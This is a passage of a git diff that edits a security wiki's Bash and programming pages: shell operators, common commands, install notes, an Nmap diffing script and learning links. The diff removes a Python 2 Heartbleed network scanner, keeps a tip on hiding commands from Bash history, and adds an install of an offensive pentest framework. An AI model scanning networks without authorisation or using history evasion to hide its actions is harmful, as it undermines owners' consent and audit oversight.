pg. 118_ * _Penetration Testing: Programming - pg. 75_ -### Bash Scripting +## Practice + +* [OverTheWire: Bandit](https://overthewire.org/wargames/bandit/) - CTF challenge that teaches Linux command-line fundamentals. + +## Pages in This Section + +{% content-ref url="cli-components.md" %} +[cli-components.md](cli-components.md) +{% endcontent-ref %} + +{% content-ref url="common-commands.md" %} +[common-commands.md](common-commands.md) +{% endcontent-ref %} -* [Introduction to Bash Scripting](https://github.com/bobbyiliev/introduction-to-bash-scripting) - Bobby Iliev (Markdown, PDF) -* [Writing Shell Scripts](http://linuxcommand.org/lc3\_writing\_shell\_scripts.php) - William E. Shotts, Jr. (HTML) -* [Linux Shell Scripting Tutorial - A Beginner's Handbook (2002)](http://www.freeos.com/guides/lsst/) - Vivek G. Gite (HTML) -* [Linux Shell Scripting Tutorial (LSST) v2.0](https://bash.cyberciti.biz/guide/Main\_Page) - Vivek Gite (HTML) -* [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/) - M. Cooper (HTML) -* [https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/](https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/) +{% content-ref url="install-scripts.md" %} +[install-scripts.md](install-scripts.md) +{% endcontent-ref %} -### Training +{% content-ref url="nmap-diffing.md" %} +[nmap-diffing.md](nmap-diffing.md) +{% endcontent-ref %} -* [https://overthewire.org/wargames/bandit/](https://overthewire.org/wargames/bandit/) - CTF challange that explores the Linux Command line. +{% content-ref url="heartbleed-vuln-check.md" %} +[heartbleed-vuln-check.md](heartbleed-vuln-check.md) +{% endcontent-ref %} diff --git a/code-tools/bash/cli-components.md b/code-tools/bash/cli-components.md index 104c4d5..005d320 100644 --- a/code-tools/bash/cli-components.md +++ b/code-tools/bash/cli-components.md @@ -1,16 +1,37 @@ # CLI Components +Use this page as a quick reference for shell operators, streams, and redirection. + ## Common Operators -• `&&` (logical AND) - where the command after this operator will only execute if the first command has executed successfully\ -• `||` (logical OR) - where the command after this operator will only execute if the first has failed\ -• `;` (semi-colon) - where the command after this operator will execute regardless of whether the first has executed successfully or not\ -• `|` (pipe) - where the command before this operator is the input for the subsequent command after the operator\ -• `&` (ampersand) - sends the current command to the background\ -• `>, <, >>>` (redirection) - directs the output of a command or group of commands commonly for files or streams +* `&&` - Run the second command only if the first command succeeds. + * Example: `mkdir reports && cd reports` +* `||` - Run the second command only if the first command fails. + * Example: `grep "needle" file.txt || echo "not found"` +* `;` - Run the next command regardless of whether the previous command succeeds. + * Example: `whoami; hostname` +* `|` - Pipe standard output from one command into the next command. + * Example: `ps -ef | grep ssh` +* `&` - Run the command in the background. + * Example: `sleep 60 &` +* `>` - Redirect standard output to a file, overwriting the file. + * Example: `date > run.log` +* `>>` - Append standard output to a file. + * Example: `date >> run.log` +* `<` - Read command input from a file. + * Example: `sort < names.txt` + +## Streams + +* `stdin` - Standard input, usually data going into the program. +* `stdout` - Standard output, usually normal command output. +* `stderr` - Standard error, usually errors and diagnostic messages. -## Stream redirection +## Stream Redirection -• stdin – Standard input (the data going into the program)\ -• stdout – Standard output (the data coming out of the program)\ -• stderr – Standard error (any error messages generated when running the program) +* `2>` - Redirect errors to a file. + * Example: `grep needle missing.txt 2> errors.log` +* `2>&1` - Send errors to the same place as standard output. + * Example: `command > output.log 2>&1` +* `/dev/null` - Discard output. + * Example: `command > /dev/null 2>&1` diff --git a/code-tools/bash/common-commands.md b/code-tools/bash/common-commands.md index 759479e..5c8d585 100644 --- a/code-tools/bash/common-commands.md +++ b/code-tools/bash/common-commands.md @@ -24,9 +24,9 @@ Print working directory ``` Show status of interfaces -#ifconfig +# ip addr show Show status of wireless interfaces -#iwconfig +# iw dev ``` ## Services @@ -53,7 +53,7 @@ Start ssh on boot Start apache web service # sudo systemctl start apache2 Verify http is up and listening -# sudo ss -antlp } grep apache +# sudo ss -antlp | grep apache start apache web service on boot # sudo systemctl enable apache2 ``` @@ -72,9 +72,9 @@ Display all jobs running in current terminal sessions ## Users and privileges ``` -Adds user to sudoers file +Create a user and add them to the sudo group # adduser (username) -# adduser (username) sudo +# usermod -aG sudo (username) ``` ## File Manipulation @@ -131,7 +131,7 @@ Change file permissions ``` {% hint style="info" %} -For more info on the permissions codes, see here: [https://www.guru99.com/file-permissions.html](https://www.guru99.com/file-permissions.html) +`chmod 777` grants read, write, and execute permissions to everyone. It is useful for understanding permission bits, but it is usually too permissive for real systems. For more info on the permissions codes, see here: [https://www.guru99.com/file-permissions.html](https://www.guru99.com/file-permissions.html) {% endhint %} ### File manipulation and Searching in a file @@ -153,11 +153,11 @@ Used for pattern matching ### Comparing files ``` -Compares two files and outputs resutls in 3 columns. first is unique to A, second is unique to B, third is shared +Compares two files and outputs results in 3 columns. The first is unique to A, second is unique to B, third is shared. # comm [fileA.txt] [fileB.txt] Compares two files # diff -c [fileA.txt] [fileB.txt] --c contect format - shows all entires in both files, “-” in the first, “+” in the second +-c context format - shows all entries in both files, “-” in the first, “+” in the second -u unified format - same as above but does not show lines that match ``` @@ -184,10 +184,10 @@ Accelerated download with multiple connections ## Command History * Commands entered in the terminal are tracked using the `HISTFILE` environment variable and are written to the `~/.bash_history` file when a user logs off. -* it is possible for credentials and passwords to be stored as plaintext in the `/.bash_history` -* Variables can also be seen when stored in the bash config file, .bashrc +* It is possible for credentials and passwords to be stored as plaintext in `~/.bash_history`. +* Variables can also be seen when stored in Bash config files such as `.bashrc`. * One way a user can prevent credentials from being recorded is by starting each command with a leading space character. For example the command `" echo 'hello world'"` will not be saved, whereas `"echo 'hello world'"` will be. -* To prevent users from hiding commands, the `HISTCONTROL` variable can be set to `"ignoredup"`, and users prevented from changing the environment variable. This will ensure all commands are captured and stored in the bash history.cat theywillneverfindmeheere +* To prevent users from hiding commands with a leading space, the `HISTCONTROL` variable can be set to `"ignoredup"`, and users can be prevented from changing the environment variable. This helps ensure commands are captured and stored in Bash history. ### Sudo History diff --git a/code-tools/bash/heartbleed-vuln-check.md b/code-tools/bash/heartbleed-vuln-check.md index 237d0b2..0c0f5a9 100644 --- a/code-tools/bash/heartbleed-vuln-check.md +++ b/code-tools/bash/heartbleed-vuln-check.md @@ -1,378 +1,23 @@ -# Heartbleed Vuln Check +# Heartbleed Vulnerability Check -``` -#!/usr/bin/env python +This page is preserved as a historical reference for CVE-2014-0160, better known as Heartbleed. The previous page contained a long Python 2 scanner that was truncated and no longer suitable as a current code example. -# Based on the original code by Jared Stafford. +## Current Guidance -# This code has been modified to test for OpenSSL versions vulnerable to -# Heartbleed without exploiting the server, therefore the heartbeat request -# does _not_ cause the server to leak any data from memory or expose any data -# in an unauthorized manner. -# Based on: https://github.com/dchan/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb -# See: https://blog.mozilla.org/security/2014/04/12/testing-for-heartbleed-vulnerability-without-exploiting-the-server/ +Use maintained scanners and platform vulnerability management for Heartbleed checks rather than old standalone Python 2 scripts. -# Usage example: python ssltest.py example.com +* [Nmap ssl-heartbleed NSE script](https://nmap.org/nsedoc/scripts/ssl-heartbleed.html) +* [Mozilla: Testing for Heartbleed without exploiting the server](https://blog.mozilla.org/security/2014/04/12/testing-for-heartbleed-vulnerability-without-exploiting-the-server/) +* [CVE-2014-0160](https://www.cve.org/CVERecord?id=CVE-2014-0160) -import sys -import struct -import socket -import time -import select -import re -import threading -import netaddr -import json -import os -import datetime -import signal -from optparse import OptionParser -from collections import defaultdict -from multiprocessing.dummy import Pool +For broader vulnerability scanning methodology, use Scanning and Active Recon. -host_status = {} -hosts_to_skip = [] -counter = defaultdict(int) -lock = threading.Lock() +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -options = OptionParser(usage='%prog [network2] [network3] ...', description='Test for SSL heartbleed vulnerabil$ -options.add_option('--port', '-p', dest="port", default=443, help="Port to scan on all hosts or networks, default 443") -options.add_option('--input', '-i', dest="input_file", default=[], action="append", help="Optional input file of networks$ -options.add_option('--logfile', '-o', dest="log_file", default="results.txt", help="Optional logfile destination") -options.add_option('--resume', dest="resume", action="store_true", default=False, help="Do not rescan hosts that are alre$ -options.add_option('--timeout', '-t', dest="timeout", default=5, help="How long to wait for remote host to respond before$ -options.add_option('--threads', dest="threads", default=100, help="If specific, run X concurrent threads") -options.add_option('--json', dest="json_file", default=None, help="Save data as json into this file") -options.add_option('--only-vulnerable', dest="only_vulnerable", action="store_true", default=False, help="Only scan hosts$ -options.add_option('--only-unscanned', dest="only_unscanned", action="store_true", default=False, help="Only scan hosts t$ -options.add_option('--summary', dest="summary", action="store_true", default=False, help="Useful with --json. Don't scan,$ -options.add_option('--verbose', dest="verbose", action="store_true", default=False, help="Print verbose information to sc$ -options.add_option('--max', dest="max", default=None, help="Exit program after scanning X hosts. Useful with --only-unsca$ -opts, args = options.parse_args() +## Historical Notes -threadpool = Pool(processes=int(opts.threads)) +The original script was based on a non-exploitative Heartbleed check that sent a heartbeat request intended not to leak memory. It relied on Python 2 syntax, `optparse`, and byte handling patterns that are obsolete in modern Python. -def h2bin(x): - return x.replace(' ', '').replace('\n', '').decode('hex') - -hello = h2bin(''' -16 03 03 00 dc 01 00 00 d8 03 03 53 -43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf -bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 -00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 -00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c -c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 -c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 -c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c -c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 -00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 -03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 -00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 -00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 -00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 -00 0f 00 01 01 -''') - -def recvall(s, length, timeout=5): - endtime = time.time() + timeout - rdata = '' - remain = length - while remain > 0: - rtime = endtime - time.time() - if rtime < 0: - return None - r, w, e = select.select([s], [], [], 5) - if s in r: - try: - data = s.recv(remain) - except Exception, e: - return None - # EOF? - if not data: - return None - rdata += data - remain -= len(data) - return rdata - -def recvmsg(s): - hdr = recvall(s, 5) - if hdr is None: - return None, None, None - typ, ver, ln = struct.unpack('>BHH', hdr) - pay = recvall(s, ln, 10) - if pay is None: - return None, None, None - return typ, ver, pay - - -def hit_hb(s): - while True: - typ, ver, pay = recvmsg(s) - if typ is None: - return False - - if typ == 24: - return True - - if typ == 21: - return False - -def unpack_handshake(pay): - """ - Unpack the SSL handshake in Multiple Handshake Message - """ - paylen = len(pay) - offset = 0 - payarr = [] - - while offset < paylen: - h = pay[offset:offset + 4] - t, l24 = struct.unpack('>B3s', h) - l = struct.unpack('>I', '\x00' + l24)[0] - payarr.append(( - t, - l, - pay[offset+4:offset+4+l] - )) - offset = offset+l+4 - return payarr - -def is_vulnerable(host, timeout, port=443): - """ Check if remote host is vulnerable to heartbleed - - Returns: - None -- If remote host has no ssl - False -- Remote host has ssl but likely not vulnerable - True -- Remote host might be vulnerable - """ - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(int(timeout)) - try: - s.connect((host, int(port))) - except Exception, e: - return None - s.send(hello) - - while True: - typ, ver, pay = recvmsg(s) - if typ is None: - return None - - if typ == 22: - payarr = unpack_handshake(pay) - # Look for server hello done message. - finddone = [t for t, l, p in payarr if t == 14] - if len(finddone) > 0: - break - - # construct heartbeat request packet - ver_chr = chr(ver&0xff) - hb = h2bin("18 03") + ver_chr + h2bin("40 00 01 3f fd") + "\x01"*16381 - hb += h2bin("18 03") + ver_chr + h2bin("00 03 01 00 00") - - s.send(hb) - return hit_hb(s) - - -def store_results(host_name, current_status): - current_time = time.time() - with lock: - counter[current_status] += 1 - counter["Total"] += 1 - if host_name not in host_status: - host_status[host_name] = {} - host = host_status[host_name] - # Make a note when this host was last scanned - host['last_scan'] = current_time - - # Make a note if this host has never been scanned before - if 'first_scan' not in host: - host['first_scan'] = current_time - elif host.get('status', 'never been scanned') != current_status: - # If it has a different check result from before - host['changelog'] = host.get('changelog', []) - changelog_entry = [current_time, current_status] - host['changelog'].append(changelog_entry) - host['status'] = current_status - with open(opts.log_file, 'a') as f: - message = "{current_time} {host} {current_status}".format(**locals()) - f.write(message + "\n") - return message - - -def scan_host(host): - """ Scans a single host, logs into - - Returns: - list(timestamp, ipaddress, vulnerabilitystatus) - """ - if opts.max and int(opts.max) >= counter["Total"]: - return - host = str(host) - if host in hosts_to_skip: - return - result = is_vulnerable(host, opts.timeout, opts.port) - message = store_results(host, result) - if opts.verbose: - print message - return message - - -def scan_hostlist(hostlist, threads=5): - """ Iterates through hostlist and scans them - - Arguments: - hostlist -- Iterable with ip addresses - threads -- If specified, run in multithreading mode - """ - task = threadpool.map_async(scan_host, hostlist) - while True: - print counter['Total'], "hosts done" - task.wait(1) - if task.ready() or hasattr(threadpool, 'done'): - return - threadpool.close() - threadpool.join() - - -def clean_hostlist(args): - """ Returns list of iterables - Examples: - >>> hostlist = ["127.0.0.1", "127.0.0.2"] - >>> clean_hostlist(hostlist) - """ - hosts = [] - networks = [] - for i in args: - # If it contains any alphanumerics, it might be a domain name - if any(c.isalpha() for c in i): - # Special hack, because alexa top x list is kind of weird - i = i.split('/')[0] - hosts.append(i) - # If arg contains a / we assume its a network name - elif '/' in i: - networks.append(netaddr.IPNetwork(i)) - else: - hosts.append(i) - result = [] - for network in networks: - if network.size >= opts.threads: - result.append(network) - else: - for i in network: - hosts.append(str(i)) - if hosts: - result.append(hosts) - return result - - -def import_json(filename): - """ Reads heartbleed data in json format from this file """ - with open(filename) as f: - json_data = f.read() - data = json.loads(json_data) - for k, v in data.items(): - host_status[k] = v - - -def export_json(filename): - """ Save scan results into filename as json data - """ - json_data = json.dumps(host_status, indent=4) - with open(filename, 'w') as f: - f.write(json_data) - - -def print_summary(): - """ Print summary of previously stored json data to screen """ - if not opts.json_file: - pass - #options.error("You need to provide --json with --summary") - else: - import_json(opts.json_file) - counter = defaultdict(int) - for host, data in host_status.items(): - friendly_status = "unknown" - status = data.get('status', "Not scanned") - if status is None: - friendly_status = "SSL Connection Failed" - elif status is True: - friendly_status = "Vulnerable" - elif status is False: - friendly_status = "Not Vulnerable" - else: - friendly_status = str(status) - last_scan = int(float(data.get('last_scan',0))) - last_scan = datetime.datetime.fromtimestamp(last_scan).strftime('%Y-%m-%d %H:%M:%S') - counter[friendly_status] += 1 - counter['Total'] += 1 - if opts.only_vulnerable and not status: - continue - elif opts.only_unscanned and 'status' in data: - continue - print "%s %-20s %5s" % (last_scan, host, friendly_status) - print "------------ summary -----------" - for k,v in counter.items(): - print "%-7s %s" % (v, k) - return - -def signal_handler(signal, frame): - print "Ctrl+C pressed.. aborting..." - threadpool.terminate() - threadpool.done = True - -def main(): - if opts.summary: - print_summary() - return - - if not args and not opts.input_file and not opts.json_file: - options.print_help() - return - - - # If any input files were provided, parse through them and add all addresses to "args" - for input_file in opts.input_file: - with open(input_file) as f: - for line in f: - words = line.split() - if not words: - continue - # If input file is in masscan's portscan format - if line.startswith("Discovered open port"): - args.append(words.pop()) - elif len(words) == 1: - args.append(words[0]) - else: - print "Skipping invalid input line: " % line - continue - if opts.json_file: - try: - import_json(opts.json_file) - except IOError: - print opts.json_file, "not found. Not importing any data" - - - for host_name, data in host_status.items(): - if opts.only_unscanned and 'status' in data: - continue - if data.get('status', None) is True or not opts.only_vulnerable: - args.append(host_name) - - # For every network in args, convert it to a netaddr network, so we can iterate through each host - remote_networks = clean_hostlist(args) - for network in remote_networks: - scan_hostlist(network, threads=opts.threads) - - if opts.json_file: - export_json(opts.json_file) - - print_summary() - -if __name__ == '__main__': - signal.signal(signal.SIGINT, signal_handler) - main() - -``` - -\ +Keep the lesson, not the script: old proof-of-concept tools can teach vulnerability mechanics, but they should not be presented as current operational guidance unless they are maintained and tested. diff --git a/code-tools/bash/install-scripts.md b/code-tools/bash/install-scripts.md index 5b0e2c0..6a7347d 100644 --- a/code-tools/bash/install-scripts.md +++ b/code-tools/bash/install-scripts.md @@ -1,29 +1,24 @@ # Install Scripts -## Install Powershell on Linux +Use this page for install notes that are useful when setting up command-line tooling. Avoid copying old package-install snippets blindly: Linux package names, repositories, and dependencies change quickly. -``` -apt-get install libunwind8 -wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb -dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb -wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb -dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb -wget https://github/com/Powershell/Powershell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb -dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb -``` +## PowerShell on Linux -## Install PenTesters Framework +The old PowerShell 6.0.2 Ubuntu 16.04 install snippet that used `libssl1.0.0` and `libicu55` is now obsolete. Use Microsoft's current installation documentation instead. +* [Install PowerShell on Linux](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-linux) +* [PowerShell GitHub Releases](https://github.com/PowerShell/PowerShell/releases) + +## PenTesters Framework + +The PenTesters Framework (PTF) is offensive tooling and is better treated as part of the Red Offensive toolbox. If you still use it in a lab, install from the current repository rather than old copied snippets. + +```bash +sudo git clone https://github.com/trustedsec/ptf /opt/ptf +cd /opt/ptf +sudo ./ptf ``` -sudo su - -apt-get update -apt-get install python -git clone https://github.com/trustedsec/ptf/opt/ptf -cd /opt/ptf && ./ptf -use modules/exploitation/install_update_all -use modules/intelligence-gathering/install_update_all -use modules/post-exploitation/install_update_all -use modules/powershell/install_update_all -use modules/vulnerability-analysis/install_update_all -cd /pentest -``` + +{% content-ref url="../../red-offensive/offensive-toolbox/" %} +[offensive-toolbox](../../red-offensive/offensive-toolbox/) +{% endcontent-ref %} diff --git a/code-tools/bash/nmap-diffing.md b/code-tools/bash/nmap-diffing.md index 08c28a8..f4da63b 100644 --- a/code-tools/bash/nmap-diffing.md +++ b/code-tools/bash/nmap-diffing.md @@ -1,12 +1,20 @@ -# NMAP Diffing +# Nmap Diffing -``` +This script runs a daily Nmap scan and uses `ndiff` to show what changed compared with yesterday's scan. It is useful for defensive asset monitoring when you already have authorization to scan the network. + +```bash #!/bin/bash -mkdir /opt/nmap_diff +mkdir -p /opt/nmap_diff d=$(date +%Y-%m-%d) y=$(date -d yesterday +%Y-%m-%d) /usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 > /dev/null 2>&1 -if [ -e /opt/nmap_diff/scan$y.xml ]; then +if [ -e /opt/nmap_diff/scan_$y.xml ]; then /usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml > /opt/nmap_diff/diff.txt fi ``` + +For Nmap scanning methodology and scan options, use Scanning and Active Recon. + +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} diff --git a/code-tools/learn-to-code.md b/code-tools/learn-to-code.md index a4512a8..4ff245f 100644 --- a/code-tools/learn-to-code.md +++ b/code-tools/learn-to-code.md @@ -1,125 +1,124 @@ # Learn to Code -## General Learning Platforms +Use this page as the canonical learning index for programming and scripting resources. Bash and PowerShell have their own quick-reference pages, but long-form learning resources should live here to avoid duplicating the same links across the section. -There are countless options available for learning to code. This list focuses on resources that are particularly helpful from a security context, with a strong emphasis on Python due to its prevalence in the industry. +## General Learning Platforms -* [Codecademy](https://www.codecademy.com/) - Top code learning platform on the market -* [edX | Free Online Courses by Harvard, MIT, & more](https://www.edx.org/) -* [Coursera](https://www.coursera.org/) - Build skills with courses, certificates, and degrees online from world-class universities and companies. -* [W3Schools Online Web Tutorials](https://www.w3schools.com/) - Best resource for learning HTML -* [Codewars](https://www.codewars.com/) - CTF like challanges specifically for code building -* [PowerShell vs Python Reference](https://blog.ironmansoftware.com/powershell-vs-python/) -* [Python Tutor - Visualize Python, Java, C, C++, JavaScript, TypeScript, and Ruby code execution](http://pythontutor.com/) -* [https://github.com/EbookFoundation/free-programming-books/blob/master/books/free-programming-books.md](https://github.com/EbookFoundation/free-programming-books/blob/master/books/free-programming-books.md) -* [https://academy.wehackpurple.com/collections](https://academy.wehackpurple.com/collections) - Great secure coding learning platform +* [Codecademy](https://www.codecademy.com/) - Interactive programming courses. +* [edX](https://www.edx.org/) - Free and paid courses from universities and training providers. +* [Coursera](https://www.coursera.org/) - Online courses, certificates, and degrees. +* [W3Schools](https://www.w3schools.com/) - Introductory web technology tutorials. +* [Codewars](https://www.codewars.com/) - Code challenge platform for practicing problem solving. +* [Python Tutor](https://pythontutor.com/) - Visualizes Python, Java, C, C++, JavaScript, TypeScript, and Ruby code execution. +* [Free Programming Books](https://github.com/EbookFoundation/free-programming-books/blob/master/books/free-programming-books.md) - Large index of free programming books. +* [We Hack Purple Academy](https://academy.wehackpurple.com/collections) - Security-focused application security and secure coding training. +* [PowerShell vs Python Reference](https://blog.ironmansoftware.com/powershell-vs-python/) - Practical comparison for automation use cases. ## Bash -* [https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/](https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/) -* [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/) - M. Cooper (HTML) -* [Bash Guide for Beginners (2008)](http://www.tldp.org/LDP/Bash-Beginners-Guide/html/) - M. Garrels (HTML) -* [Bash Notes for Professionals](http://goalkicker.com/BashBook/) - Compiled from StackOverflow documentation (PDF) -* [BASH Programming (2000)](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html) - Mike G. (HTML) -* [Bash Reference Manual](http://www.gnu.org/software/bash/manual/bashref.html) (HTML) -* [Bash tutorial](https://web.archive.org/web/20180328183806/http://gdrcorelec.ups-tlse.fr/files/bash.pdf) - Anthony Scemama (PDF) -* [BashGuide](http://mywiki.wooledge.org/BashGuide) - Maarten Billemont (HTML) [(PDF)](http://s.ntnu.no/bashguide.pdf) -* [Conquering the Command Line](http://conqueringthecommandline.com/book/frontmatter) - Mark Bates (HTML) -* [Getting Started with BASH](http://www.hypexr.org/bash\_tutorial.php) (HTML) -* [GNU Bash manual](https://www.gnu.org/software/bash/manual/bash.pdf) (PDF) -* [Google Shell Style Guide](https://google.github.io/styleguide/shell.xml) - Paul Armstrong (HTML) -* [Introduction to Bash Scripting](https://github.com/bobbyiliev/introduction-to-bash-scripting) - Bobby Iliev (Markdown, PDF) -* [Introduction to the Command Line](https://launchschool.com/books/command\_line) - Launch School (HTML) -* [Linux Shell Scripting Tutorial - A Beginner's Handbook (2002)](http://www.freeos.com/guides/lsst/) - Vivek G. Gite (HTML) -* [Linux Shell Scripting Tutorial (LSST) v2.0](https://bash.cyberciti.biz/guide/Main\_Page) - Vivek Gite (HTML) -* [Slackbook (2005)](http://slackbook.org) - Alan Hicks, Chris Lumens, David Cantrell and Logan Johnson (HTML, DocBook, Postscript, PDF) -* [The Bash Academy](http://guide.bash.academy) - Maarten Billemont (HTML) -* [The Linux Command Line](http://linuxcommand.org/tlcl.php) - William E. Shotts, Jr. (PDF) -* [Writing Shell Scripts](http://linuxcommand.org/lc3\_writing\_shell\_scripts.php) - William E. Shotts, Jr. (HTML) -* [https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf) -* [https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf) -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/linux-commands](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/linux-commands) - -## Powershell - -* [A Unix Person's Guide to PowerShell](https://leanpub.com/aunixpersonsguidetopowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Creating HTML Reports in PowerShell](https://leanpub.com/creatinghtmlreportsinwindowspowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [DevOps: The Ops Perspective](https://leanpub.com/devopstheopsperspective) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Ditch Excel: Making Historical & Trend Reports in PowerShell](https://leanpub.com/ditchexcelmakinghistoricalandtrendreportsinpowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Learn PowerShell Core 6.0](https://www.packtpub.com/free-ebooks/learn-powershell-core-60) - David das Neves, Jan-Hendrik Peters (Packt account _required_) -* [Learn PowerShell in Y Minutes](https://learnxinyminutes.com/docs/powershell/) -* [PowerShell 101: The No-Nonsense Beginner’s Guide to PowerShell](https://leanpub.com/powershell101) - Mike F. Robbins _(Leanpub account or valid email requested)_ -* [PowerShell Notes for Professionals](http://goalkicker.com/PowerShellBook/) - Compiled from StackOverflow documentation (PDF) -* [PowerShell Succinctly, Syncfusion](https://www.syncfusion.com/resources/techportal/ebooks/powershell) (PDF, Kindle) (email address _requested_, not required) -* [PowerShell Tips to Write By](https://leanpub.com/powershelltips) - Adam Bertram _(Leanpub account or valid email requested)_ (🚧 _in process_) -* [Secrets of PowerShell Remoting](https://leanpub.com/secretsofpowershellremoting) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Big Book of PowerShell Error Handling](https://leanpub.com/thebigbookofpowershellerrorhandling) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Big Book of PowerShell Gotchas](https://leanpub.com/thebigbookofpowershellgotchas) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Monad Manifesto - Annotated](https://leanpub.com/themonadmanifestoannotated) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The PowerShell + DevOps Global Summit Manual for Summiteers](https://leanpub.com/windowspowershellnetworkingguide) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) -* [https://xapax.github.io/security/#basics\_of\_windows/powershell/](https://xapax.github.io/security/#basics\_of\_windows/powershell/) -* [https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/](https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/) -* [https://xapax.github.io/security/#basics\_of\_windows/cmd/](https://xapax.github.io/security/#basics\_of\_windows/cmd/) -* [https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf](https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf) -* [https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) +* [xapax Bash Scripting](https://xapax.github.io/security/#basics_of_linux/bash_scripting/) - Security-oriented Bash scripting notes. +* [Advanced Bash-Scripting Guide](https://tldp.org/LDP/abs/html/) - Detailed Bash scripting reference. +* [Bash Guide for Beginners](https://tldp.org/LDP/Bash-Beginners-Guide/html/) - Introductory Bash guide. +* [Bash Notes for Professionals](https://goalkicker.com/BashBook/) - PDF compiled from Stack Overflow documentation. +* [Bash Programming HOWTO](https://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html) - Introductory Bash programming guide. +* [Bash Reference Manual](https://www.gnu.org/software/bash/manual/bash.html) - Official Bash reference. +* [BashGuide](https://mywiki.wooledge.org/BashGuide) - Practical Bash guide. +* [Conquering the Command Line](https://conqueringthecommandline.com/book/frontmatter) - Command-line basics. +* [GNU Bash Manual (PDF)](https://www.gnu.org/software/bash/manual/bash.pdf) - Official Bash manual. +* [Google Shell Style Guide](https://google.github.io/styleguide/shellguide.html) - Shell scripting style guide. +* [Introduction to Bash Scripting](https://github.com/bobbyiliev/introduction-to-bash-scripting) - Markdown/PDF Bash scripting book. +* [Introduction to the Command Line](https://launchschool.com/books/command_line) - Beginner command-line book. +* [Linux Shell Scripting Tutorial](https://bash.cyberciti.biz/guide/Main_Page) - Linux shell scripting reference. +* [The Bash Academy](https://guide.bash.academy/) - Bash learning guide. +* [The Linux Command Line](https://linuxcommand.org/tlcl.php) - William Shotts' Linux command-line book. +* [Writing Shell Scripts](https://linuxcommand.org/lc3_writing_shell_scripts.php) - Shell scripting tutorial. +* [SANS Linux CLI 101](https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf) - Introductory Linux CLI cheatsheet. +* [SANS Linux CLI](https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf) - Linux CLI reference. +* [SOC Analyst Scrolls: Linux Commands](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/linux-commands) - Security analyst command reference. + +## PowerShell + +* [A Unix Person's Guide to PowerShell](https://leanpub.com/aunixpersonsguidetopowershell) - PowerShell for Unix/Linux users. +* [Creating HTML Reports in PowerShell](https://leanpub.com/creatinghtmlreportsinwindowspowershell) - Reporting with 